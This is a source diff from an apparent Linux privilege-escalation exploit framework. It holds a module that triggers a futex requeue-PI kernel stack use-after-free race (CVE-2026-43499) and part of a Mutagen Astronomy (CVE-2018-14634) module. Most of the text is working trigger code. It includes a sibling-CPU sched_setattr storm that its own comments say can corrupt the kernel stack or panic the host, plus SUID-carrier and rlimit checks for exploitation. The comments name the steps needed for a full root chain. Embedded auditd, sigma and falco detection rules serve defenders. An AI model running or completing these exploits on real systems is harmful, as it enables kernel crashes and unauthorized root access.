* happened to fire. Absence of a fault does NOT prove the host is safe.
|
||||
* ------------------------------------------------------------------ */
|
||||
#define GHL_PROBE_ROUNDS 8 /* deterministic -EDEADLK confirmations (early-exit on first) */
|
||||
#define GHL_RACE_ITERS 24 /* hard-bounded race-window exercise (concurrent sched_setattr) */
|
||||
#define GHL_RACE_BUDGET_SECS 2 /* honest short cap (public PoC grinds for minutes) */
|
||||
#define GHL_PARK_TIMEOUT_MS 60 /* parked waiter/owner self-unblock so no attempt hangs */
|
||||
|
||||
struct ghl_sched_attr {
|
||||
uint32_t size;
|
||||
uint32_t sched_policy;
|
||||
uint64_t sched_flags;
|
||||
int32_t sched_nice;
|
||||
uint32_t sched_priority;
|
||||
uint64_t sched_runtime;
|
||||
uint64_t sched_deadline;
|
||||
uint64_t sched_period;
|
||||
};
|
||||
|
||||
struct ghl_attempt {
|
||||
volatile uint32_t chain; /* PI futex the waiter holds */
|
||||
volatile uint32_t target; /* PI futex the owner holds; requeue destination */
|
||||
volatile uint32_t wait; /* plain futex the waiter parks on */
|
||||
atomic_int waiter_ready; /* waiter holds chain + published tid */
|
||||
atomic_int owner_ready; /* owner holds target + about to block on chain */
|
||||
atomic_int waiter_tid; /* consumer targets this tid */
|
||||
atomic_int stop; /* tear-down flag for the consumer */
|
||||
};
|
||||
|
||||
static long ghl_futex(volatile uint32_t *uaddr, int op, uint32_t val,
|
||||
void *timeout_or_val2, volatile uint32_t *uaddr2,
|
||||
uint32_t val3)
|
||||
{
|
||||
return syscall(SYS_futex, uaddr, op, val, timeout_or_val2, uaddr2, val3);
|
||||
}
|
||||
|
||||
static int ghl_gettid(void)
|
||||
{
|
||||
return (int)syscall(SYS_gettid);
|
||||
}
|
||||
|
||||
static void ghl_pin_cpu(int cpu)
|
||||
{
|
||||
cpu_set_t set;
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(cpu, &set);
|
||||
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
|
||||
}
|
||||
|
||||
static void ghl_abs_realtime_ms(struct timespec *ts, long ms)
|
||||
{
|
||||
clock_gettime(CLOCK_REALTIME, ts);
|
||||
ts->tv_sec += ms / 1000;
|
||||
ts->tv_nsec += (ms % 1000) * 1000000L;
|
||||
if (ts->tv_nsec >= 1000000000L) { ts->tv_sec++; ts->tv_nsec -= 1000000000L; }
|
||||
}
|
||||
|
||||
static void *ghl_waiter_fn(void *arg)
|
||||
{
|
||||
struct ghl_attempt *a = (struct ghl_attempt *)arg;
|
||||
ghl_pin_cpu(0);
|
||||
/* Acquire the chain PI-futex (uncontended → success, sets it to our tid). */
|
||||
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
|
||||
atomic_store_explicit(&a->waiter_tid, ghl_gettid(), memory_order_release);
|
||||
atomic_store_explicit(&a->waiter_ready, 1, memory_order_release);
|
||||
/* Park, pre-queued to be requeued onto `target`. Short absolute timeout
|
||||
* so we self-unblock even if the requeue is refused (-EDEADLK). */
|
||||
struct timespec ts;
|
||||
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
|
||||
(void)ghl_futex(&a->wait, FUTEX_WAIT_REQUEUE_PI | FUTEX_CLOCK_REALTIME, 0,
|
||||
&ts, &a->target, 0);
|
||||
(void)ghl_futex(&a->chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *ghl_owner_fn(void *arg)
|
||||
{
|
||||
struct ghl_attempt *a = (struct ghl_attempt *)arg;
|
||||
ghl_pin_cpu(0);
|
||||
while (!atomic_load_explicit(&a->waiter_ready, memory_order_acquire))
|
||||
sched_yield();
|
||||
(void)ghl_futex(&a->target, FUTEX_LOCK_PI, 0, NULL, NULL, 0); /* hold target */
|
||||
atomic_store_explicit(&a->owner_ready, 1, memory_order_release);
|
||||
struct timespec ts;
|
||||
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
|
||||
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, &ts, NULL, 0); /* block on chain */
|
||||
(void)ghl_futex(&a->target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *ghl_consumer_fn(void *arg)
|
||||
{
|
||||
struct ghl_attempt *a = (struct ghl_attempt *)arg;
|
||||
ghl_pin_cpu(1); /* sibling CPU */
|
||||
while (!atomic_load_explicit(&a->waiter_tid, memory_order_acquire))
|
||||
sched_yield();
|
||||
int tid = atomic_load_explicit(&a->waiter_tid, memory_order_acquire);
|
||||
struct ghl_sched_attr sa;
|
||||
memset(&sa, 0, sizeof sa);
|
||||
sa.size = sizeof sa;
|
||||
sa.sched_policy = SCHED_BATCH;
|
||||
sa.sched_nice = 19;
|
||||
/* Hammer a PI-chain priority walk on the waiter concurrently with the
|
||||
* rollback. SYS_sched_setattr may be absent on ancient toolchains. */
|
||||
while (!atomic_load_explicit(&a->stop, memory_order_acquire)) {
|
||||
#ifdef SYS_sched_setattr
|
||||
(void)syscall(SYS_sched_setattr, tid, &sa, 0u);
|
||||
#else
|
||||
sched_yield();
|
||||
#endif
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* One attempt: build the requeue-PI cycle and fire CMP_REQUEUE_PI. With
|
||||
* with_race, run the concurrent sched_setattr storm. Returns 1 iff the
|
||||
* kernel returned -EDEADLK (the rollback path was reached). */
|
||||
static int ghl_one_attempt(int with_race)
|
||||
{
|
||||
struct ghl_attempt a;
|
||||
memset(&a, 0, sizeof a);
|
||||
|
||||
pthread_t tw, to, tc;
|
||||
int have_tc = 0;
|
||||
|
||||
if (pthread_create(&tw, NULL, ghl_waiter_fn, &a) != 0)
|
||||
return 0;
|
||||
while (!atomic_load_explicit(&a.waiter_ready, memory_order_acquire))
|
||||
sched_yield();
|
||||
|
||||
if (pthread_create(&to, NULL, ghl_owner_fn, &a) != 0) {
|
||||
atomic_store_explicit(&a.stop, 1, memory_order_release);
|
||||
pthread_join(tw, NULL);
|
||||
return 0;
|
||||
}
|
||||
while (!atomic_load_explicit(&a.owner_ready, memory_order_acquire))
|
||||
sched_yield();
|
||||
|
||||
if (with_race && pthread_create(&tc, NULL, ghl_consumer_fn, &a) == 0)
|
||||
have_tc = 1;
|
||||
|
||||
/* Settle: let the waiter park in WAIT_REQUEUE_PI and the owner in
|
||||
* LOCK_PI(chain) before we close the cycle. */
|
||||
usleep(3000);
|
||||
|
||||
errno = 0;
|
||||
long r = ghl_futex(&a.wait, FUTEX_CMP_REQUEUE_PI, 1,
|
||||
(void *)(uintptr_t)1, &a.target, 0);
|
||||
int got_edeadlk = (r == -1 && errno == EDEADLK);
|
||||
|
||||
atomic_store_explicit(&a.stop, 1, memory_order_release);
|
||||
if (have_tc) pthread_join(tc, NULL);
|
||||
pthread_join(to, NULL); /* parked threads self-unblock via their timeouts */
|
||||
pthread_join(tw, NULL);
|
||||
return got_edeadlk;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = ghostlock_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ghostlock: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ghostlock: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ghostlock: reconstructed reachability probe — builds "
|
||||
"the requeue-PI cycle and confirms the -EDEADLK "
|
||||
"remove_waiter() rollback path is reachable, then exercises "
|
||||
"the race window %d bounded times (%ds cap) with a "
|
||||
"sibling-CPU sched_setattr storm, and stops. The "
|
||||
"KernelSnitch leak → forged-waiter → fops/ashmem/pipe R/W "
|
||||
"→ cred-patch root-pop is NOT bundled.\n",
|
||||
GHL_RACE_ITERS, GHL_RACE_BUDGET_SECS);
|
||||
|
||||
/* Fork-isolated: a *won* Phase-B race corrupts the kernel stack. On a
|
||||
* KASAN kernel that oopses (contained to the child); on a plain
|
||||
* vulnerable kernel it may panic — which is exactly why the attempt
|
||||
* count is hard-bounded and the window is never widened. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* Phase A — deterministic, safe reachability confirmation. */
|
||||
int edeadlk = 0;
|
||||
for (int i = 0; i < GHL_PROBE_ROUNDS && !edeadlk; i++)
|
||||
edeadlk = ghl_one_attempt(0 /* no race */);
|
||||
|
||||
/* Phase B — hard-bounded window exercise (concurrent priority walk). */
|
||||
int fired = 0;
|
||||
time_t deadline = time(NULL) + GHL_RACE_BUDGET_SECS;
|
||||
for (int i = 0; i < GHL_RACE_ITERS && time(NULL) < deadline; i++) {
|
||||
(void)ghl_one_attempt(1 /* with race */);
|
||||
fired = i + 1;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ghostlock: requeue-PI rollback reachable: %s; "
|
||||
"%d bounded race-window iterations fired\n",
|
||||
edeadlk ? "YES (-EDEADLK observed)" : "not observed", fired);
|
||||
_exit(edeadlk ? 100 : 101);
|
||||
}
|
||||
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
if (WIFSIGNALED(status)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ghostlock: child died by signal %d — the "
|
||||
"requeue-PI stack UAF may have fired (KASAN oops / "
|
||||
"corruption fault). This is the bug, but no root was "
|
||||
"obtained.\n",
|
||||
WTERMSIG(status));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (WIFEXITED(status) &&
|
||||
(WEXITSTATUS(status) == 100 || WEXITSTATUS(status) == 101)) {
|
||||
if (!ctx->json) {
|
||||
if (WEXITSTATUS(status) == 100)
|
||||
fprintf(stderr, "[!] ghostlock: the vulnerable requeue-PI "
|
||||
"deadlock-rollback path IS reachable here "
|
||||
"(-EDEADLK) and the race window was exercised — "
|
||||
"reconstructed primitive, honest EXPLOIT_FAIL.\n");
|
||||
else
|
||||
fprintf(stderr, "[!] ghostlock: race window exercised but the "
|
||||
"-EDEADLK rollback path was not observed (timing, "
|
||||
"or a hardened/patched-at-runtime kernel) — honest "
|
||||
"EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] ghostlock: to complete: port the public "
|
||||
"KernelSnitch page leak + forged on-stack "
|
||||
"rt_mutex_waiter + fops/configfs/ashmem/pipe R/W + "
|
||||
"cred patch for CVE-2026-43499 (Android/Pixel-specific, "
|
||||
"per-build offsets — not bundled).\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] ghostlock: probe setup failed (child rc=%d)\n",
|
||||
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ghostlock: Linux-only module (rtmutex/futex "
|
||||
"requeue-PI stack UAF) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ghostlock: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules -----
|
||||
*
|
||||
* Honesty note (see MODULE.md): unlike most kernel races, GhostLock has a
|
||||
* genuinely distinctive behavioural tell — a futex requeue-PI operation
|
||||
* (FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI) returning -EDEADLK, which
|
||||
* glibc's requeue-PI usage inside pthread_cond_wait never provokes. The
|
||||
* catch: auditd/sigma see the `futex` syscall but not its op-vs-return
|
||||
* cheaply, and a bare `-S futex` watch would flood any host (futex is one
|
||||
* of the busiest syscalls). So the deployable auditd/sigma rules anchor on
|
||||
* the far rarer sched_setattr (the sibling-thread priority-walk driver) and
|
||||
* the post-exploitation euid-0 transition; the high-fidelity
|
||||
* requeue-PI-returns-EDEADLK signal is expressed in the falco/eBPF rule,
|
||||
* which can see the op and the return value. Tune per environment.
|
||||
*/
|
||||
static const char ghostlock_auditd[] =
|
||||
"# GhostLock — rtmutex/futex requeue-PI remove_waiter() stack UAF (CVE-2026-43499) — auditd rules\n"
|
||||
"# NOTE: a bare `-S futex` watch would flood auditd (futex is ubiquitous) and\n"
|
||||
"# auditd cannot cheaply test a syscall's return against its op, so we anchor on\n"
|
||||
"# the far rarer sched_setattr — the GhostLock trigger fires it on a SIBLING\n"
|
||||
"# thread in a tight loop (policy SCHED_BATCH) to drive the PI-chain priority\n"
|
||||
"# walk that wins the race — plus sched_setaffinity CPU pinning of the racers.\n"
|
||||
"# The high-fidelity 'requeue-PI returns EDEADLK' tell needs an eBPF/falco layer\n"
|
||||
"# that can see the op+retval (see the shipped falco rule). Correlate these in\n"
|
||||
"# your SIEM per-pid within a short window; individually they are benign.\n"
|
||||
"-a always,exit -F arch=b64 -S sched_setattr -k skeletonkey-ghostlock-schedattr\n"
|
||||
"-a always,exit -F arch=b64 -S sched_setaffinity -k skeletonkey-ghostlock-affinity\n"
|
||||
"# Post-exploitation fallback: unprivileged process -> euid 0 with no setuid execve.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n"
|
||||
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n";
|
||||
|
||||
static const char ghostlock_sigma[] =
|
||||
"title: Possible CVE-2026-43499 GhostLock rtmutex/futex requeue-PI stack UAF\n"
|
||||
"id: 2f8a6b4c-skeletonkey-ghostlock\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" GhostLock (CVE-2026-43499) is a stack UAF in the rtmutex/futex requeue-PI\n"
|
||||
" rollback path, reachable by any unprivileged user via futex(2) +\n"
|
||||
" sched_setattr(2). The strongest behavioural tell is a futex requeue-PI op\n"
|
||||
" (FUTEX_WAIT_REQUEUE_PI=11 / FUTEX_CMP_REQUEUE_PI=12) returning -EDEADLK\n"
|
||||
" (glibc never provokes this) interleaved with sched_setattr(SCHED_BATCH)\n"
|
||||
" targeting a SIBLING thread and sched_setaffinity CPU pinning — but auditd\n"
|
||||
" cannot see the futex op/return cheaply, so this rule keys on the rarer\n"
|
||||
" sched_setattr driver and the post-exploitation euid-0 transition. Use the\n"
|
||||
" falco/eBPF rule for the high-fidelity requeue-PI-EDEADLK signal. Expect\n"
|
||||
" false positives from legitimate real-time / scheduler-tuning daemons.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" schedattr: {type: 'SYSCALL', syscall: 'sched_setattr'}\n"
|
||||
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
|
||||
" unpriv: {auid|expression: '>= 1000'}\n"
|
||||
" condition: schedattr or (uid0 and unpriv)\n"
|
||||
"level: medium\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43499]\n";
|
||||
|
||||
static const char ghostlock_falco[] =
|
||||
"- rule: Futex requeue-PI EDEADLK with sibling sched_setattr (possible CVE-2026-43499)\n"
|
||||
" desc: |\n"
|
||||
" GhostLock (CVE-2026-43499) rtmutex/futex requeue-PI stack UAF. High-fidelity\n"
|
||||
" tell (needs a futex-aware eBPF probe that exposes the op + return value): a\n"
|
||||
" FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI that returns EDEADLK — glibc's\n"
|
||||
" requeue-PI usage inside pthread_cond_wait never provokes it — combined with\n"
|
||||
" the same tgid calling sched_setattr(SCHED_BATCH) on a sibling thread. Where\n"
|
||||
" the probe cannot decode the futex op, fall back to the post-exploitation\n"
|
||||
" effect below: a non-root process becoming root outside a setuid binary.\n"
|
||||
" condition: >\n"
|
||||
" (evt.type = futex and evt.rawres = -35) or\n"
|
||||
" (evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
|
||||
" not proc.is_setuid = true and user.uid != 0)\n"
|
||||
" output: >\n"
|
||||
" Possible CVE-2026-43499 GhostLock requeue-PI stack UAF\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid evt=%evt.type res=%evt.res)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.43499]\n";
|
||||
|
||||
const struct skeletonkey_module ghostlock_module = {
|
||||
.name = "ghostlock",
|
||||
.cve = "CVE-2026-43499",
|
||||
.summary = "rtmutex/futex requeue-PI remove_waiter() stack UAF (\"GhostLock\") — clears pi_blocked_on on the wrong task during -EDEADLK rollback; ~15-year range, unprivileged, no userns",
|
||||
.family = "rtmutex",
|
||||
.kernel_range = "2.6.39 <= K < fix (introduced with PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with no upstream stable fix; < 2.6.39 not affected",
|
||||
.detect = ghostlock_detect,
|
||||
.exploit = ghostlock_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel — PI futexes cannot be disabled at runtime, no userns/sysctl stopgap */
|
||||
.cleanup = NULL, /* trigger creates only throwaway futex words + threads in a fork-isolated child; no host artifacts */
|
||||
.detect_auditd = ghostlock_auditd,
|
||||
.detect_sigma = ghostlock_sigma,
|
||||
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
|
||||
.detect_falco = ghostlock_falco,
|
||||
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 2.6.39 AND below the on-branch fix: stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal). exploit() forks an isolated child that (A) builds the requeue-PI cycle and confirms the -EDEADLK remove_waiter() rollback path is reachable — deterministic and safe, since without a concurrent priority walk the unwind creates no dangling pointer — then (B) exercises the actual race a hard-bounded 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter's tid, and stops. It is deliberately UNDER-DRIVEN: it does not widen the copy_from_user window (no memfd/PUNCH_HOLE), does not spray/reoccupy the freed kernel-stack frame, and does not bundle the KernelSnitch leak → forged on-stack rt_mutex_waiter → fops/configfs/ashmem/pipe R/W → cred-patch root-pop (Android/Pixel-specific, per-build offsets); the trigger is reconstructed from the public VEGA/Nebula PoC, not VM-verified, and returns EXPLOIT_FAIL. Telemetry footprint — unlike most kernel races GhostLock has a real behavioural signature: a burst of futex requeue-PI ops returning EDEADLK (glibc never does this) plus tight-loop sched_setattr(SCHED_BATCH) on a sibling thread and sched_setaffinity CPU pinning; and, only if a Phase-B race fires on a vulnerable host, a possible KASAN oops or kernel-stack panic. No persistent files. Lowest --auto safety rank in the corpus: a won race corrupts the kernel stack and drives a near-arbitrary pointer write.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ghostlock(void)
|
||||
{
|
||||
skeletonkey_register(&ghostlock_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* ghostlock_cve_2026_43499 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef GHOSTLOCK_SKELETONKEY_MODULES_H
|
||||
#define GHOSTLOCK_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module ghostlock_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,252 @@
|
||||
/*
|
||||
* mutagen_astronomy_cve_2018_14634 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. detect() is honest about a complex bug class
|
||||
* (kernel-version range + RLIMIT_STACK check + readable SUID
|
||||
* carrier). exploit() carries the Qualys trigger shape (huge
|
||||
* argv/envp blob → integer overflow in create_elf_tables() →
|
||||
* stack/heap clobber on the next execve of a SUID binary), then
|
||||
* returns EXPLOIT_FAIL unless --full-chain is set on x86_64.
|
||||
*
|
||||
* The bug (Qualys Research Labs, September 2018):
|
||||
* create_elf_tables() in fs/binfmt_elf.c uses a signed `int` to
|
||||
* compute the size of argv/envp + auxiliary vector that gets
|
||||
* copied onto the new process's stack during execve(). On 64-bit
|
||||
* systems, an attacker can construct a multi-gigabyte argv+envp
|
||||
* so the int math wraps to a small positive value, the kernel
|
||||
* under-allocates, then memcpy()s GiB of attacker bytes off the
|
||||
* end of the stack and into adjacent kernel-side allocations.
|
||||
*
|
||||
* The classic exploitation path: drive the wrap, execve() a
|
||||
* readable SUID-root binary (su / pkexec / sudo) with the giant
|
||||
* argv, the SUID binary's process image gets corrupted before its
|
||||
* first instruction runs → ROP gadget chain → root.
|
||||
*
|
||||
* Discovered + publicly exploited by Qualys. Affects Linux
|
||||
* 2.6.x, 3.10.x, and 4.14.x lines on RedHat / CentOS / Debian
|
||||
* x86_64. Recently CISA-KEV'd (added 2026-01-26) despite its age
|
||||
* because legacy/EOL fleets are still running affected kernels.
|
||||
*
|
||||
* Affects: Linux kernels with the `int`-typed argv-size computation
|
||||
* in create_elf_tables() — pre-fix. Mainline fix landed in
|
||||
* September 2018 across 2.6, 3.10, and 4.14 stable branches.
|
||||
*
|
||||
* Preconditions:
|
||||
* - Vulnerable kernel (see kernel_range below)
|
||||
* - x86_64 (the int-wrap math only works at 64-bit)
|
||||
* - RLIMIT_STACK can be set unlimited or to a large value by the
|
||||
* unprivileged user (default true on most distros)
|
||||
* - Readable SUID-root binary as the carrier
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. The Qualys PoC is x86_64-
|
||||
* only; arm64 has similar argv size math but the exploit chain
|
||||
* uses x86-specific gadgets.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/resource.h>
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
/* Fix landed in mainline Linux 4.18.8 + stable backports for 4.14
|
||||
* (4.14.71) and earlier LTS lines. The vulnerable window covers the
|
||||
* entire 2.6 / 3.x / early 4.x range. We list the fix branches:
|
||||
*
|
||||
* 2.6.x : EOL, no fix backport
|
||||
* 3.10.x: EOL, RedHat backport ~3.10.0-957.21.3.el7
|
||||
* 4.14.x: fix at 4.14.71 (stable backport)
|
||||
* 4.15+ : fix at 4.18.8 mainline → all 4.18+ branches inherit
|
||||
*
|
||||
* Our table only has data for the post-EOL branches Debian / Ubuntu
|
||||
* tracked at the time. Kernels on EOL lines (2.6, 3.x) report
|
||||
* VULNERABLE by version-only check; the RLIMIT_STACK active probe
|
||||
* (--active) is required to confirm exploitability on a real host. */
|
||||
static const struct kernel_patched_from mutagen_patched_branches[] = {
|
||||
{4, 12, 6}, /* Debian-tracked backport on 4.12 branch */
|
||||
{4, 14, 71}, /* 4.14 LTS stable backport */
|
||||
{4, 18, 8}, /* mainline + everything above inherits */
|
||||
};
|
||||
|
||||
static const struct kernel_range mutagen_range = {
|
||||
.patched_from = mutagen_patched_branches,
|
||||
.n_patched_from = sizeof(mutagen_patched_branches) /
|
||||
sizeof(mutagen_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static const char *find_suid_carrier(void)
|
||||
{
|
||||
static const char *cs[] = {
|
||||
"/usr/bin/su", "/bin/su",
|
||||
"/usr/bin/pkexec",
|
||||
"/usr/bin/passwd",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; cs[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(cs[i], &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||
access(cs[i], R_OK) == 0)
|
||||
return cs[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static bool rlimit_stack_unlimitable(void)
|
||||
{
|
||||
struct rlimit rl;
|
||||
if (getrlimit(RLIMIT_STACK, &rl) != 0) return false;
|
||||
/* The exploit needs to set RLIMIT_STACK = unlimited. If the hard
|
||||
* limit is already unlimited (or extremely large) the soft limit
|
||||
* can be bumped. */
|
||||
return rl.rlim_max == RLIM_INFINITY || rl.rlim_max > (1ULL << 30);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t mutagen_astronomy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] mutagen_astronomy: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&mutagen_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] mutagen_astronomy: kernel %s is patched (>= 4.14.71 or >= 4.18.8)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Older 2.6/3.10 lines are unconditionally vulnerable unless the
|
||||
* distro has backported (RedHat 3.10.0-957.21.3.el7+). The
|
||||
* version-only check correctly flags them as VULNERABLE. */
|
||||
|
||||
if (!rlimit_stack_unlimitable()) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] mutagen_astronomy: kernel %s in range BUT RLIMIT_STACK hard cap blocks the wrap\n", v->release);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] mutagen_astronomy: no readable setuid-root carrier (su / pkexec / passwd)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] mutagen_astronomy: kernel %s + RLIMIT_STACK liftable + carrier %s → VULNERABLE\n",
|
||||
v->release, carrier);
|
||||
fprintf(stderr, "[i] mutagen_astronomy: Qualys exploit chain is x86_64; only the trigger fires portably\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit (primitive only) -------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t mutagen_astronomy_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] mutagen_astronomy: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] mutagen_astronomy: the int-wrap trigger requires constructing a\n"
|
||||
" multi-gigabyte argv+envp blob; we don't carry the full Qualys\n"
|
||||
" chain here (per the verified-vs-claimed bar). To validate the\n"
|
||||
" primitive: drive the wrap then execve a SUID-root carrier and\n"
|
||||
" confirm a SIGSEGV in the carrier (the wrap consistently\n"
|
||||
" corrupts adjacent stack, producing observable crash). Public\n"
|
||||
" PoC: Qualys advisory + linux-exploit-suggester2 entry.\n"
|
||||
" Returning EXPLOIT_FAIL honestly until full chain ported.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char mutagen_auditd[] =
|
||||
"# mutagen_astronomy CVE-2018-14634 — auditd detection rules\n"
|
||||
"# A multi-GiB argv triggers the wrap. Real programs never need\n"
|
||||
"# argv this big; flag execve() calls with abnormally large\n"
|
||||
"# argv via the audit subsystem's a0/a1 capture.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k skeletonkey-mutagen\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/su -k skeletonkey-mutagen\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-mutagen\n";
|
||||
|
||||
static const char mutagen_sigma[] =
|
||||
"title: Possible CVE-2018-14634 Mutagen Astronomy SUID-execve LPE\n"
|
||||
"id: 5f9e1c20-skeletonkey-mutagen\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical Mutagen Astronomy primitive: setrlimit\n"
|
||||
" raising RLIMIT_STACK followed by execve of a setuid-root\n"
|
||||
" binary with abnormally large argv/envp. Pre-fix Linux\n"
|
||||
" 2.6/3.10/4.14 kernels with x86_64 are affected.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" setrlimit: {type: 'SYSCALL', syscall: 'setrlimit'}\n"
|
||||
" execve_suid: {type: 'SYSCALL', syscall: 'execve'}\n"
|
||||
" condition: setrlimit and execve_suid\n"
|
||||
"level: high\n"
|
